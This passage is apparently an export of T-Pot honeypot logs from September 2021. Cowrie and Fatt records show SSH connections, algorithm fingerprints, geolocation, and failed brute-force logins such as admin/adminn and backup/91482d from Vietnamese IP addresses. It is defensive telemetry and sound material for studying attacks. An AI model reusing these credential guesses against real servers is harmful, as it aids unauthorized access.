"umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3f8180470eb2", "@version": "1", "timestamp": "2021-09-20T11:07:17.773731Z", "@timestamp": "2021-09-20T11:07:17.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22618	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.116177+03	2021-09-20 14:15:06.44447+03	{"_id": "DwbjAnwBvYTbRNuEiAkH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e73a41285afe", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:18.116177Z", "@timestamp": "2021-09-20T11:07:18.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22619	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:17.625094+03	2021-09-20 14:15:06.4455+03	{"_id": "EAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:41954 (192.168.176.2:22) [session: b37c111a99c4]", "session": "b37c111a99c4", "@version": "1", "protocol": "ssh", "src_port": 41954, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.625094Z", "@timestamp": "2021-09-20T11:07:17.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22620	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:17.54756+03	2021-09-20 14:15:06.4465+03	{"_id": "MwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44632 (192.168.176.2:22) [session: eef8b70c24b3]", "session": "eef8b70c24b3", "@version": "1", "protocol": "ssh", "src_port": 44632, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.547560Z", "@timestamp": "2021-09-20T11:07:17.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22621	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:17.075433+03	2021-09-20 14:15:06.4475+03	{"_id": "OgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47608, "timestamp": "2021-09-20T11:07:17.075433", "@timestamp": "2021-09-20T11:07:17.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22622	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:17.492217+03	2021-09-20 14:15:06.4485+03	{"_id": "GQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44522, "timestamp": "2021-09-20T11:07:17.492217", "@timestamp": "2021-09-20T11:07:17.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22623	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:17.552563+03	2021-09-20 14:15:06.450511+03	{"_id": "GgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44632, "timestamp": "2021-09-20T11:07:17.552563", "@timestamp": "2021-09-20T11:07:17.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22624	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:17.626489+03	2021-09-20 14:15:06.4515+03	{"_id": "GwbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41954, "timestamp": "2021-09-20T11:07:17.626489", "@timestamp": "2021-09-20T11:07:17.626Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22625	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:17.823744+03	2021-09-20 14:15:06.4525+03	{"_id": "HAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44632, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.823744", "@timestamp": "2021-09-20T11:07:17.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22626	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.291627+03	2021-09-20 14:15:06.4535+03	{"_id": "HQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a84799560cf6", "@version": "1", "timestamp": "2021-09-20T11:07:17.291627Z", "@timestamp": "2021-09-20T11:07:17.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22627	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:17.419996+03	2021-09-20 14:15:06.4555+03	{"_id": "HgbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/adminn] failed", "session": "c976395e20d4", "@version": "1", "password": "adminn", "username": "admin", "timestamp": "2021-09-20T11:07:17.419996Z", "@timestamp": "2021-09-20T11:07:17.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22628	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:17.623745+03	2021-09-20 14:15:06.456503+03	{"_id": "IAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [backup/91482d] failed", "session": "fa9110283934", "@version": "1", "password": "91482d", "username": "backup", "timestamp": "2021-09-20T11:07:17.623745Z", "@timestamp": "2021-09-20T11:07:17.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22629	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:17.625863+03	2021-09-20 14:15:06.4575+03	{"_id": "IQbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: 